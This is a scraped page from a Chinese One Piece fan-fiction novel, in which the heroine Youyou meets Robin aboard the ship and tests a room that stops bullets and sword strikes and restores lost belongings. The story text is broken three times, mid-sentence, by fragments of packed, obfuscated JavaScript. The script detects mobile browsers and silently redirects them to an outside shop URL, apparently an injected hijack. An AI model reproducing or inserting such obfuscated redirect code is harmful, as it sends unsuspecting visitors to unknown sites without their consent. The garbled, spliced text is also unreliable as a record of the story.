35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16014054|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 啊这…… 索隆蹲下身子拎起满身漆黑的秃鹰,背上的炮管已然炸裂,这副模样完全就是自己炸自己。 “你这家伙干了什么?”索隆看向有有。 有有巴不得有人扯开话题,听到索隆的询问立马接话道:“石头!塞进去!然后……” 女孩歪头想了一会,炸膛这个单词实在不会说,就把双手捏拳然后猛然张开。 “然后就砰!” “你也不怕炸到自己!”索隆有些感慨,“你是真的很喜欢偷偷摸摸搞大事啊。” “就是说啊!”娜美火气又上来了,“还敢从上面往下跳,万一摔伤了怎么办!” “结果好就行了嘛。”路飞在一旁嘻嘻哈哈,“这样克洛克什么的就不知道了啊。” 娜美:“人家叫克洛克达尔。” 好忙哦娜美。有有偷偷摸摸瞥了一旁的女孩,又要骂人又要负责吐槽。 当然这话是不能说的,有有跟在路飞后面搅和:“就是啊,谁让你们在空空的地方说秘密。” 娜美:“那叫大庭广众。” 有有立马改口:“大庭广众之下说秘密。” 娜美:“……”蹬鼻子上脸一把好手。 “所以,这两个家伙怎么办?”索隆把秃鹰和海獭捆在一起,询问道。 “吃掉吧!”路飞双眼冒光,“海獭和鹰应该很好吃吧!” 海獭、鹰:“!!” 其他人:“……” 旁观了许久的微微从有有身上收回目光,开口道:“这是Mr.13和Miss.星期五,Mr.13可以通过绘画的方式把信息记录下来,再由星期五传递出去。” “!”娜美倒吸一口凉气,“那我们的样子岂不是差点泄露出去!!” “对,多亏了这位小姐,起码我们暂时并不会暴露。” 得到夸奖的有有尾巴都翘了起来,仰着一张小脸就怼到了娜美面前。 娜美一把推开女孩的脸蛋,丝毫不吃这套。 “话说回来,有有你是怎么知道他们在这的?”路飞在有有身边摇摇摆摆,一副好奇的模样。 那可就说来话长了,有有回想起这一路,决定从长话短说:“跟踪!” “哇!”路飞鼓掌,“厉害——” “你居然还敢跟踪那批赏金猎人!!”娜美头更痛了,“你知不知道他们有刀和枪啊!” “我也有!”有有献宝似地掀起修女服,娜美来不及阻止,就看见女孩从衣服下面掏出了一把枪。 娜美:“……” “……”娜美语气虚弱,“有有。” “答应我。” “嗯?” “少和路飞玩。”这熟悉的无力感。 不理会路飞的抗议,娜美转头说起了正事。 “虽然不会被追杀,但是我们也该离开了。” “……”微微张嘴,想要说些什么,却还是没有张嘴。 娜美有些不忍的别过眼,但是要面对七武海之一,正常人的反应肯定是要避开。 “为什么?”路飞开口道,“你不是想让我们送你回家吗?” “真的可以吗?”微微惊喜道。 路飞哈哈一笑:“可以哦!” 娜美泪流满面,很好,忘记了这里没有正常人。 姗姗来迟的伊卡莱姆换了一套微微的装扮,怀里还抱着几个稻草人。 “我本来还想假扮成公主殿下,引开追兵,但是现在看来或许不需要了。” 有有靠在一边,忍不住踢了踢脚边的海獭。 其实抓住这两个小动物对后续的剧情帮助并不算大,毕竟他们只是情报员,路飞他们在小花园该受的伤也不会少多少。山治一击就能解决的敌人却需要她小心翼翼地蹲守,甚至最后还受了一点小伤。 手上的擦痕隐隐作疼,有有深吸了一口气。 但如果,能避免掉伊卡莱姆所受的那场爆炸,如果这个大叔可以跟着微微一起上船。那么,他们在小花园受的伤会不会少一些,在娜美生病,寻找乔巴的路途会不会轻松一点,在抵达阿拉巴斯坦之后解决战乱时,死的人会不会也能少一点? 至于去往阿拉巴斯坦的永久指针,按剧情运转的习惯,没有了不吉利组合,应该也会在另外的地方出现。 如果房间消失的规律真的就像上次一样,那么下次见面,是会在磁鼓岛还是阿拉巴斯坦呢…… 下一次见面的,会是乔巴,还是……艾斯呢。 19.还记得吗 先见到的会是罗宾。 —— 在船长路飞的我行我素之下,伊卡莱姆和微微都上了船,还顺带把睡得不省人事的山治和乌索普提溜着带到了船上。 “虽然情报员被我们抓住了,但是毕竟路飞那张脸还挂在通缉令上。”娜美相当谨慎,“这只能稍微拖延一点时间,所以我们要尽快出发。” 有有细心地把海獭和鹰关在了笼子里,转头叮嘱还一无所知的山治:“看好!不能让路飞吃了!”没准等乔巴入伙之后,还能打探出一点情报出来。虽然路飞也有聆听万物之声的能力…… 女孩看了一眼还在甲板上闹腾的船长。 算了,不能指望这个单细胞生物在这方面派上用场。 “拜托了!山治!” “好~~”山治拍着胸脯保证,虽然暂时还不知道发生了什么,但是这并不妨碍应下lady的请求,“我一定会拿我当命保护好这两个奇怪动物的!” 有有:……那倒也不必。 “啊啦。”一道成熟且富有魅力的声音响起,操舵室外的栏杆忽然多出了一道窈窕的身影。 来人穿着一身暗紫色的套装,头戴一顶紫色的西部牛仔帽,单手托着腮,眉眼隐藏在帽檐下,让人看不清神色。 “Mr.13和Miss.星期五也被抓了嘛。” 突然出现的人激起了所有人的戒备。山治和索隆瞬间出现在了两侧,武器直指来人。 微微失声道:“Miss.All Sunday!你怎么会在这!?” “All Sunday?那她是谁的搭档?” 微微不自觉后退两步,脸上满是戒备:“是BOSS的搭档。” 路飞猛地一拍手:“你是七武海的搭档的话,一定很强吧!” 娜美:??? “你个笨蛋!”娜美恨铁不成钢地一拳揍飞了路飞。 花了大力气截断的情报被自己人双手奉上,娜美现在只想把路飞丢进海里去喂鱼。 “你们居然都知道BOSS的真实身份了吗?”罗宾笑得温柔,“难怪要把Mr.13和Miss.星期五抓起来呢。” “BOSS的身份不是你故意透露给我们的吗!”似乎是回想起了什么,微微脸色愈加难看,伊卡莱姆更是直接挡在了微微面前。 路飞相当单纯,摸着自己脑袋上的包开口:“什么啊,这家伙是好人啊。” 没错没错。有有暗暗点头。罗宾姐姐当然是好人! “不觉得很有趣吗?看你们那么辛苦,所以我就帮帮你们。”罗宾手指轻点脸颊,笑得格外温柔。 一股看不见的力道将山治和索隆击飞出去,甚至还拍远了路飞。 未知的总是恐怖的,面对这样一位不明底细的对手,整个船上的气氛都格外紧张了起来。 “咔擦。” 细微的动静在这种场合下格外明显,罗宾顺着声音转头。 女孩拿了一个方方正正的东西面对着自己,声音似乎就是从那里面发出来的。 糟糕……居然没关静音吗。 有有讪讪把手机收回口袋,不敢面对此刻娜美的神色。 但是没办法啊!“反派”罗宾真的很美啊!!那种成熟女人的美丽和靠谱感,简直是可以直接抱大腿的程度! “对不起。”有有乖巧朝着罗宾道。 “是武器吗?”罗宾撑着脑袋笑意盈盈。 “不是哦。”有有摇头。 “那就没关系了。” “谢谢哟!” 罗宾姐姐果然人美心善,有有脸上的笑意几乎掩盖不住,如果不是仅存的理智还拉扯着i自己,这会就要冲上去和罗宾姐姐贴贴了。 “不用谢。”罗宾依旧是那副模样,搞不清在想什么,“那能把你后面那两只交给我吗?” 有有刚想点头,才想起后面两只是什么玩意。女孩伸出脚把笼子踢远了些,看着乖巧地开口道:“不要哟。” “哦?” “有有!!” 几道声音几乎同时响起。索隆和山治几乎瞬间就跳到了有有身侧,神色凌厉。 “你想干什么?”索隆对上罗宾似笑非笑的目光,紧紧握住了手中的刀。 “啊拉。剑客先生不用那么谨慎。我只不过是和这位小姐聊会天而已。” “有有小姐~没事吧~”山治则转头打量起有有,看着女孩摇头才放下心。 “不给也没关系哦。”罗宾像是没察觉到敌意一般,只是笑着说,“我们并没有开战的理由。毕竟不需要我出手,你们就会自取灭亡。” 娜美:“你到底什么意思!” “因为你们的记录指针指向的下一个岛,是小花园哦。” “并不需要我出手,你们就会自取灭亡。” 一个指针从高处落下,掉到了微微手中。 “不过,用这个,你们就能绕过小花园,到底一个离阿拉巴斯坦最近的无人小岛。” 娜美有些不可置信:“不会吧,难道这个人真的是好人吗?” 索隆:“怎么看都是圈套吧。” 一步之遥的捷径就摆在面前,微微看着手心的指针,理性和情感互相拉扯。一边是民不聊生的国家,一边说着这是敌人精心设下的圈套。可理性又如何能敌得过感性的漩涡。 “这种东西,我们才不需要!”记录指针被路飞利落的捏碎。如果不看其他人的脸色的话,那这个举动还是相当帅气的。 哇哦。 虽然早就知道路飞会来这么一出,但是真正看见之后,还是觉得…… 路飞果然很可爱啊!像个小孩子一样。 “谁让你把指针捏碎的!”娜美对着路飞咣当就是一拳,“还有你,别一副路飞很帅的表情!”这话是对着有有说的。 诶~被发现了。 有有撇过头,壮着胆子无视掉。 “呵呵。”轻笑声在船上响起,“你们,还真是一群有趣的人啊。”罗宾含笑看着这一切,开口调侃道。 “对吧对吧!”女孩从索隆身后探出头,一双眼睛就这样亮晶晶地看向了自己这个敌人。 “大家都是超级好的人哦!”所以,别担心啊。 从一开始就是了,这个叫有有的女孩似乎就少了一根神经。在所有人敌视着自己的时候,粗线条地靠近着自己,脸上居然还是欣赏和开心。在剑士和金发先生身后时也完全没有紧张感,现在也是。 “你啊。”罗宾垂眸轻笑,看透一切的双眼就这样罗自阿勒有有身上,“还真是奇怪呢。” “诶~”女孩似乎很不满的样子,撇着嘴嘟嘟囔囔,“不能夸我可爱吗?为什么也是奇怪啊?” 罗宾依旧是那副宠辱不惊的笑容,只是缓缓直起了身体。 “要走了吗?” 也许是错觉,罗宾竟觉得自己听出了些许不舍。 “是啊,要走了。”罗宾甩开那不切实际的妄想,只是淡淡道。 女孩居然真的耷拉下了脑袋,随即又在口袋里摸索着什么:“吃糖吗?” “哈?”索隆有些不可置信地回过头,剑柄轻轻敲上了有有的脑袋,字里行间都是恨铁不成钢,“她可是敌人啊敌人!你这家伙没戒心的毛病能不能改改!” “……”有有撇过头,“切。” 索隆:“?” “哈哈哈哈哈,你这家伙,果然被有有小姐讨厌了吧!” 叛逆期!绝对是叛逆期! 底下的娜美捂着自己的胸口,看着女孩撅着一张嘴,脸上是大写的不服。 索隆!给我把她敲醒! 眼看着整个场合陷入了一团糟,罗宾含笑跳上了一只巨大的乌龟。 “下次见面再说吧。”淡淡的话语从空气中飘来,“如果下次见面你们还活着的话。” 有有爬上栏杆,像是没听见后面的那句话:“拜拜!” “喂!你这家伙!”命运的后脖颈被抓住,有有僵硬地转过脑袋,对上了一张写满笑意却危险的脸。 “有有~”娜美的声音从来没有这么温和过。 温和到连路飞都悄悄远离了这个地方。 哦豁,完蛋了。 这是有有脑中闪过的最后一个念头。 “伊卡莱姆……”微微失魂落魄地看着这一切,脑子中的那根神经动摇得犹如地震一般,“我们拜托这群家伙,真的没问题吗?” “这……” 甲板上,奇奇怪怪的女孩子跪坐在甲板上接受着娜美的批评,看样子好像还要写什么检讨。索隆在一旁煽风点火,时不时跟在后面教训两句。山治一下子给娜美扇扇风企图降温,一下子问候一下跪坐着的有有。乌索普似乎还没从敌人的害怕中缓过神,不知道在嘀嘀咕咕着什么,船长更是瘫倒在甲板上,嘴里也在念叨着什么。 “为什么有有还有糖却不给我啊!” 啊,在念叨着要糖果,难怪刚刚要往“战场”那边过去。 “大概、应该、可能、或许没问题吧。”伊卡莱姆企图在脑海中找到一些这些人的高光时刻,“毕竟,那么多赏金猎人,他们都打倒了。” “啊啊啊啊!山治!我饿了!要吃饭!”忽然一道声音骤然响起,路飞一个仰卧起坐,从甲板上跳起,朝着山治大声喊道。 “哈?你不是刚从威 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16029545|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士忌山吃饱了出来的吗?!” “我不管!我饿了!” 厨师先生骂骂咧咧地进了厨房。 微微语气幽幽地朝着伊卡莱姆道:“真的吗?” 伊卡莱姆:“……” —— 操舵室人才济济。 娜美手里拿着小棍子,站在有有身边走来走去,一旦发现女孩走神,小棍子就拍到了桌子上。 “赶紧写!” 有有吞了吞口水,拿着笔艰难地写着保证书。 “娜美~”女孩企图装可怜,“‘对不起’怎么写?” “你自己查!你的手机不是可以搜到吗!”娜美冷笑一声,丝毫不动摇。 “哦……” “哈哈哈哈哈!”索隆难得的连觉都没睡,坐在一边笑得格外开心,甚至手里面还拿着有有的相机。拿到新玩具的索隆拍得不亦乐乎,一点也不理会有有的怒目而视。 “啪啪啪!”小棍子在桌子上拍得直响。 “认真点!” 啊,娜美看着写检讨,这可是顶级待遇。有有在心里安慰着自己,生疏地拿笔写着检讨。而且还是在主角团所有人眼皮子底下写,机会难得机会难得。 可是好羞耻! 从小到大都是好学生的有有觉得这实在是难以说服自己,头都快埋到纸上了。 “嘿嘿嘿。”路飞捂着嘴偷笑,典型地幸灾乐祸。 乌索普没忍住扯了扯路飞的衣服:“笨蛋,等会有有写完保证书,娜美就会来收拾你了!” “真的假的?!”说着路飞就要偷摸往外跑。 “等会!”犹如恶魔催命一般的声音响起,路飞整个人僵住。 娜美头疼地看着路飞,想骂人,但是实在有些骂不动了:“坐下!” “遵命!” “说点正事。”娜美板着一张脸,企图把刚刚发生的事情梳理一下。 “首先从刚刚那个人的说法来看,小花园肯定很危险,那么到下一个岛之前,我们所有人都要保存好精力。” 小花园。 耳朵捕捉到关键词,有有手中的笔顿了一下,忘记了自己此刻的处境,没忍住开口道:“娜美娜美!” “什么?”娜美没好气地看着仰着一张小脸的女孩。 “还有几天,到小花园呀?” “这个并不能确定,变量太多了。”听到有有问的是正经事,娜美揉了揉女孩的头发,“比如天气、海流,所以可能要好几天,也可能一两天就到了。” “啊~~”有有拖长了语调,脑子里不知道在想着什么。 娜美眉心一跳:“有有,检讨第一条是什么?” 有有条件反射道:“不能擅自行动!” 完了,已经被塑造完成了。有有绝望地看着还在写的检讨,头上的怨念几乎要飘出来了。 娜美没有理会自闭的有有,继续开口道:“还有一件事,我们知道幕后黑手是克洛克达尔这个情报已经被那个Miss.All Sunday掌握了,如果她把这个消息带回去,那么我们还是会迎来追兵,我们要做好这个准备。” 在一旁听着的伊卡莱姆开口道:“那,不如还是我来假扮公主殿下,我们兵分两路如何?” 先反对的却是有有。 “不要!”女孩扔下笔一脸认真。 “可是……” “没有可是!”有有立马开口,“她不会说的!” 微微低沉着头,语气是掩盖不住的颓丧:“我也不想让伊卡莱姆走,但是如果追兵真的过来的话,我们解决不了的,巴洛克工作室的猎人非常多,万一追兵很多的话……” “不会的!” “你就那么确定吗?” “嗯哪!” 女孩的脸上挂着一派轻松的笑,似乎什么这并不是一件大事。 难道……娜美有些担忧地看向有有,却听见女孩说。 “你们想呀!克洛克达尔肯定不要让人知道自己,如果追兵很多很多。” “那我们就可以拿个喇叭喊,让所有人都知道。” “他的计划还没完成就暴露的话,肯定不行。所以只会派很少的厉害的人。数字特工?” “我们打了5、9、13。而且赢了!” “所以,即使别人来了,赢了就行啦!” 有有的语言还说不上熟练,几乎是一边查着翻译一边说着,甚至数数的时候,还在掰手指。可就是这样条理清晰、准确的话语,让整个操舵室都陷入了寂静。 “微微。”一张纸和笔就这样被塞进了微微的手中,有有笑着说道:“还记得吗?他们的能力?” 20.房间 操舵室内正火急火燎地开着会。 微微从记忆中扒拉着敌人的情报,伊卡莱姆时不时做点补充 。数字特工之间也存在着差距,数字越小,实力越强,像微微和伊卡莱姆这样几乎排在了末尾的人员对上面的人不算特别了解,可情报从来不嫌少。 路飞在一边有一搭没一搭的听着,看他的样子就知道没听进心里,能坐在这全凭有有用零食吊着,眼看着零食和路飞的耐心也都快消耗殆尽,有有无奈地叹了口气。 和路飞一样对自己的实力充满自信的还有索隆。似乎比起这种事先的情报,不如当场和人硬碰硬地来一场,用身体记住情报才是真男人的方式。 相对而言,娜美、乌索普和山治则要认真得多。算不上战斗主力的娜美和乌索普也有自己的战斗方式,情报对他们而言的价值要高上许多。山治则是属于在这方面还算冷静的类型,起码态度看上去比索隆要顺眼很多。 特工的情报已经讲解到Mr.3,有有偷偷瞥了一眼若有所思的乌索普,决定一会儿想办法再添一把火。 虽然是玩笑话,但是“绝境靠乌索普”这话可不是白说的。 —— 有有的脑子里还在天马行空地想着什么,丝毫没察觉战术会议已经结束了。 “你这家伙,该不会又在想着做坏事吧!”阴恻恻的声音在耳边响起,吓得有有原地跳起,膝盖咣得一下撞上了桌子,桌面上的水杯不堪重击轰然倒下,果汁铺满了桌子,顺着桌角淅淅沥沥滴在了有有的衣服上。 娜美:“……” 有有:“……”好疼,呜呜呜。 索隆犀利点评道:“她做贼心虚。” “!”有有眼刀立马就甩了过去,一张脸张牙舞爪的。 娜美叹了口气,无奈道:“赶紧回房间换身衣服吧。” 在海贼的世界里,除了需要强悍的生命力,还需要足够大的衣柜。每次战斗之后衣衫褴褛的模样自不用说,单说每一次到达岛屿之后各种活动都会把自己弄得浑身脏兮兮。 从早上到船上开始,丢了一双鞋,换下睡衣的第一套衣服被海水弄湿、下雪的时候弄湿了裤子、暴风雨的时候又湿了一套衣服、威士忌山峰出来之后换修女服是顺手又换了一套,结果这一套也湿了…… 没个大衣柜都跟不上草帽团的时尚。 有有无奈叹息,得亏不是高中时期一年到头穿校服的时候。 房间里的脏衣篓几乎快要堆满了,桌面上也堆了些格格不入的东西:捡来的木仓、还有那个坏掉的十字架喷雾。甚至连失踪的拖鞋也重新出现在了床边。 随手摸了一套衣服,有有坐到了桌前。 捡的时候情况紧急,没有仔细检查,但是拜托,那可是木仓啊!因为各国国情不同,这种东西除了能在电视剧里面看看,现实中是完全见不到。更何况这种几乎被淘汰了的老式手枪。如果不是被娜美催得急,她早就打算研究了。 “「如果我是什么地下组织的特工就好了,枪法一级棒,还能手搓炸弹、木仓支,或者古武术在身也行呀!」”小说不是白看的,有有掂量着手中的玩意,脑子里的剧情已经进展到身为杀手的自己脚踢黑胡子、拳打五老星、KO伊姆、统治伟大航路了。 “「等会儿,这玩意怎么上膛啊?」”即使没接触过这种武器,有有也知道要先上膛才能扣动扳机,而且木仓还极易走火,“「不过是不是得先检查一下这里面有没有子弹啊。」” 有有小心翼翼避开扳机的地方,仔细打量着手里的武器。可越看违和感越重。 这只不过是当时情况下随手从地上摸的一把,先不说主人用了多久,但就这一场战斗,这把枪大概率在索隆的刀背上滚过了一圈,再加上地上的尘土和砂砾…… 但无论如何,这把木仓也不可能这样…… 木仓身没有一丝划痕,锃亮的金属像是被抛光过一样,不像是经历过战斗,反而——反而像是刚从店里买回来的样子。 “……”似是心有所感,有有将目光投向了床边的那双拖鞋。 “「一起,刷新了?」” 那么这样的话,有有看向了桌上的另外一个十字架喷雾器。 十字架安安稳稳地躺在桌面上,像是根本不知道发生了什么。有有一手握着木仓,一手撑着脑袋,用木仓支管口去戳了戳十字架。 可十字架的喷口依旧是坏掉的模样,似乎并没有被刷新。 这是个什么道理?有有抓狂地将枪扔到一边,头发被快被揉成了鸟窝的形状。 “「啊啊啊啊啊!说明书!快给我说明书!」”有有看着手上薅下来的头发,只觉得头更疼了,“「差评!我要差评!这什么智障房间!」” 不明所以的刷新机制、双休一般的出现机制、智障AI的判定方式、还没有说明书! 有有趴在桌子上,耷拉着一张脸去摸扔远了的手枪。 “「你说话呀,你赶紧说话啊,你快告诉我你怎么好的!」” “「总不能我捡了个新的回来了吧!」” 女孩一脸被辜负了的表情,眼里的郁闷几乎快要和外面的大海一样多:“「你以为你是饥〇、星〇谷、缺〇啊!三棒子凑不出一个新手教程!」” 越说越生气,有有拎着木仓在眼前晃悠。黑色的木仓管口像是一口黑洞,看似深不见底,令人头晕目眩,越陷越深。 一墙之隔的外面。 “路飞呢?”娜美翻过手上的报纸,头也不抬地问山治道。 “应该还在船头坐着吧。” “诶——也不知道那些情报他记住了多少。” 乌索普抬起手中的锤子:“路飞的话,肯定一个字都没记住啦。” 娜美:“……”倒是给我留点希望啊! 航海士小姐揉了揉眉心,只觉得任重道远。勉强靠谱的微微也去洗漱了,现在居然找不到一个人可以商量,那个女人又为什么会说小花园很危险…… “砰——” 巨响打破了思考,娜美猛地回头。 “什么声音!”索隆从瞭望台上一跃而下,顺着声音奔到了操舵室。 “怎么了!有、有、有敌袭吗……”乌索普哆嗦着腿紧紧拽住山治的 ,差点被山治一脚蹬开。 “放开,是从有有小姐房间传出来的!” 娜美早就扔下了手中的报纸,一把踹开了有有的房门。 “有有!发生了什么!”娜美的声音几乎要破音,却在看见房间内的一幕时,僵在了原地。 被声音吸引而来的人被娜美挡在门外,索隆探头往里面看去,忍不住挑眉:“哦呀,这可真是……” 山治骂骂咧咧地推开索隆:“到底怎么回……” 桌前的椅子被掀翻在地,而桌子上的木仓口还微微的冒着烟,显然刚刚的声音就是由木仓发出来的女孩的茫然无措地站在原地,一只脚还卡在了椅子中间不得动弹。 可最为奇怪的,是那颗距离有有不到三厘米的、悬浮在空中的子弹。 似乎被一道看不见的空气墙所阻挡,子弹被稳稳地卡在了空中无法在向前进一步。 听到了门口传来的动静,有有木木地转过头,想要开口打招呼,却似乎连举起手的力气都没有了。 “怎么啦怎么啦?”不知什么时候到了的路飞的脑袋绕过所有人钻进了房间,看见眼前这神奇的一幕,眼睛都放出了光,“哇哈,你还能停住子弹吗!厉害啊!” 乌索普汗颜:“怎么看都不是这样的吧!” 索隆拔出刀,随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16035525|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手将子弹劈开,看着还有些魂不守舍的女孩:“没事吧?” “啊,嗯。”即使子弹从视线中消失,有有也还有些怔愣。 有有从没有一刻觉得死亡离自己是如此至今,几乎是意识刚到自己扣动了扳机,子弹就在自己面前停下了,甚至连后坐力的疼痛都慢一秒传来。如果、如果没有这道莫名其妙的空气墙,那么…… 耳边心跳如擂鼓,有有伸手触上了眉心。 那么,子弹就会洞穿这个地方了。 “到底是怎么回事啊?”娜美拉着有有上看下看,眼中写满焦急,确定有有浑身上下都没有一丝伤口才堪堪安心。 “我……”有有做了个吞咽的动作,嗓子因为过分紧张都有些干涩,“没想到,那把木仓是……”是上过膛的。 山治捡起桌上的木仓,打开弹匣把子弹都倒了出来,确认没有一颗遗漏才敢把枪放回桌上:“有有小姐,下次想要来练习的话,请喊上我哦!” 娜美:“?还想练习?没收!赶紧没收!” 不想了,打死都不敢碰那玩意了。 有有深吸了口气,抬手摸了摸刚刚子弹停住的位置。 什么都没有。 这又是为什么? 索隆注意到有有的动作,抱着手臂打了个哈欠:“嘛,这大概率是在保护你吧。” 保护? 一直不曾想到的词语闯入脑海,有有猛地惊醒,一系列猜想在脑海形成。 “索隆!” “什么?” “快砍我一刀!” 路飞:“?” 娜美:“?” 山治:“?” 乌索普:“?” 瞌睡虫被语出惊人的有有吓走,索隆抖了抖身子,挑眉看向有有:“认真的?” “认真的!” 女孩脸色依旧苍白,似乎还没从刚刚的惊吓中回过神,但是清澈地瞳孔里不见一丝害怕,就这样直勾勾地盯着索隆。 索隆直起身,眼底闪过一丝戏谑,不带一丝犹豫地抽出了和道一文字:“来了哦。” “等会等会等会!”乌索普扑了上去抱住了索隆的腰,路飞也化身橡胶人缠住了索隆,“她可是有有啊!坐船都会吐的有有!” 有有:……那个定语可以省略的。 娜美抱住了有有:“就是啊!索隆你能不能有风度一点啊!” 山治:“你这个绿藻头如果敢对有有小姐出手的话,揍飞你!” “你们这群白痴!”索隆挣扎着想要逃出两个人的钳制,“路飞你给我下来!你难道也觉得不行吗!” “没有呀,但是这样很好玩嘛!”路飞笑嘻嘻地答道。 “她明显是在测试这个房间啊!你们这群家伙到底要添乱到什么程度啊!” “是吗……” 有有:“是啊!!!” 一片混乱之后,有有还是如愿以偿地获得了直面索隆的刀的机会。 举着刀的索隆嘴角似笑非笑,高大的身躯挡住光的路线,投下一片阴影。 有有:……果然,当站到索隆的对面时,那股恶人感更加明显了。 剑客一旦拔刀,就不存在留手的可能,那是对敌人、自己的不尊重。即使对面站着的,是并肩战斗的伙伴。 索隆看着白着一张脸的女孩,优秀的动态视力能很清楚的发现女孩的手在微微发抖。握着刀柄的手略微紧了紧,索隆微微垂眸,雪白的刀刃猛然劈了下来。 “叮——” 挥出去的剑像是劈在了一张盾上,在距离有有近在咫尺的位置被拦截了下来,反弹的力道通过剑柄传了过来。 不疼,但发麻。 索隆抬眸。 啊,居然一直睁着眼。 21.蝴蝶效应 居然真的被保护了。 无论是射出来的子弹、还是劈下来的刀,都会被一道空气墙挡住。 这么说来。 有有抬起手,手上刮擦出的伤痕也早就恢复了原状。包括上一次背上的疼痛感,也是在进入房间之后逐渐消失。比起回血buff反倒更像是有了无敌buff。 但那又怎样?总不能把黑胡子拉到房间来打架吧?光拼体术也不是这群非人类的对手啊!难道硬生生把人累死吗?有有叹了口气,哐地一下倒在了床上。 垂在地面上的脚不小心碰到了那双两次失而复得的拖鞋。 再加上丢失的物品会刷新回来的功能…… “平衡”。 脑海中忽然浮现了这样一个词语。有有抬眸,还算白皙的手张开又合拢。这双手不像路飞那样可以伸长、不像索隆那样可以布满锻炼后的茧(唯一的茧还是写字写出来的)、不像娜美那样可以画出海图、没办法向乌索普那样做出许多精巧的小玩意、也不能像山治那样喂饱整个船的人。但如果真要说这双手有什么不同的话。 那就是,这并不是这个世界的手。 三次元和二次元。 本应该是无法触及的两岸。但是却因为这个房间被联系了起来。这种联系明显是有代价的,不被允许透露的剧情以及总会被掰回正规的剧情线,毕竟如果按照正常的时间线来说,在到达双子岬之前额外在海上待了五天的草帽团按理说已经过了遇见微微的时间线。 同样的,她自己在这个世界受的伤也不允许被带到现实。因为疼痛是在这个世界造成的。而房间内能上网、有电,很明显看得出来房间更偏向于三次元,所以一旦回到了这个房间,就会被默认成回到了三次元,疼痛和伤口自然而然就消失了。 消失又出现的拖鞋也是。因为是三次元的东西,所以一旦弄丢了,就会自己刷新回来。 死亡也是。如果她在这个世界死掉了,那么现实就会受到冲击。 人是互相链接的生物。从小到大几近20年的生活无法被轻易抹去。亲人、朋友、老师、同学、甚至地铁上擦肩而过的陌生人。人与人之间连成一张巨大的网,即使消失了一个小点,也会影响到其他人。 所以为了保持平衡,她得活着。 但是那些给出去的东西呢? 无论是笔还是枕头,又或者是后面买的工具箱或者锅,完全都没有刷新回来的迹象。 “所属权”。 有有猛地从床上坐起,脑子里茅塞顿开。被送出的东西所属权并不再是自己,所以不会被刷新,但是拖鞋是意外弄丢,于是能自己回来。 而归根结底,身上伤口的愈合也可以用这个道理来解释,身体的所属权是自己的,所以一旦出现了什么问题,是可以被刷新的。 房间的规则终于有了个头绪,有有长舒了口气,但问题也随之而来。 所属权的范围又是多少呢? 如果说只要是自己的东西就能被刷新的话……有有将目光投向了在角落里的脏衣篓。 连上上一次,在这个世界满打满算也才带待上三天,而且说到底都没有掺和进真正惊心动魄的战斗里,所以衣服顶多也只是脏了点,说不上破。 但是,既然鞋子都能刷新的话…… 磨刀霍霍向牛羊,啊不,剪刀噌噌向服装。 有有从抽屉里掏出一把剪刀,拎着脏衣篓的衣服就要下手。 脏衣篓里摆着的不仅仅只是自己的衣服,也顺便把那套修女服搭在了边上。原本打算朝着新衣服下手的有有眼睛咕噜一转。 “「我抢来的衣服,应该也算我的吧……」”丝毫不觉得自己的思维已经逐渐变成了海贼模式,有有抄起修女服就开剪。 没办法,对着自己的新衣服下手还是太超过了。但是对抢来的衣服就没有负罪感了呀。诶嘿。 把衣服剪得七零八落也不是有有的风格,女孩拎起衣角,用剪刀小心翼翼剪下了一小片布料,布料摇摇摆摆地掉进衣篓,钻入了缝隙。有有条件反射地放开衣服去捞碎片,却不小心捞了个空。 “「算了,一会儿倒出来找吧。」”有有撑着脑袋盯着修女服破碎的衣角喃喃自语。 “「刷新要多久来着。」”女孩看了一眼旁边的手机,静待着奇迹的发生。 一分钟、两分钟…… 五分钟过去,有有的耐心已然告罄,一直笑着的笑脸此刻黑得能滴出墨来,嘴上骂骂咧咧:“「罗杰都说他的财宝谁抢到就是谁的,我抢到的衣服呢怎能就不能算我的了!」” “「在海贼的世界讲法律道德,你脑子没病吧!」” “「这衣服可是我凭本事抢的!!」” 无事发生。衣服就像什么都没听见一样,依旧缺了一角挂在衣篓边缘。 有有:“……” 有有掐了掐自己的人中,黑着一张脸提起修女服:“「要你何用,就非得我剪……」” 新衣服卡在嗓子里冒不出来,想要扔掉的动作也僵在了半空。 在视线范围内,那块被剪断的衣角正以肉眼可见的速度复原着。 有有:“……” 神经病啊! 有有脸色古怪,一言难尽地提溜着手里的衣服,想破口大骂的心蠢蠢欲动。 “「总不能是时间没等够吧。」”有有一咬牙,掏出自己的衣服“哗啦”就是一剪子。 控制变量法已然深入骨髓。 但是出乎意料的是,几乎是剪刀刚离开衣服,衣服就开始逐渐复原,随后变成了一开始的样子。 再重申一遍。 神经病啊!!! 好消息是衣服没坏。坏消息是更莫名其妙了。 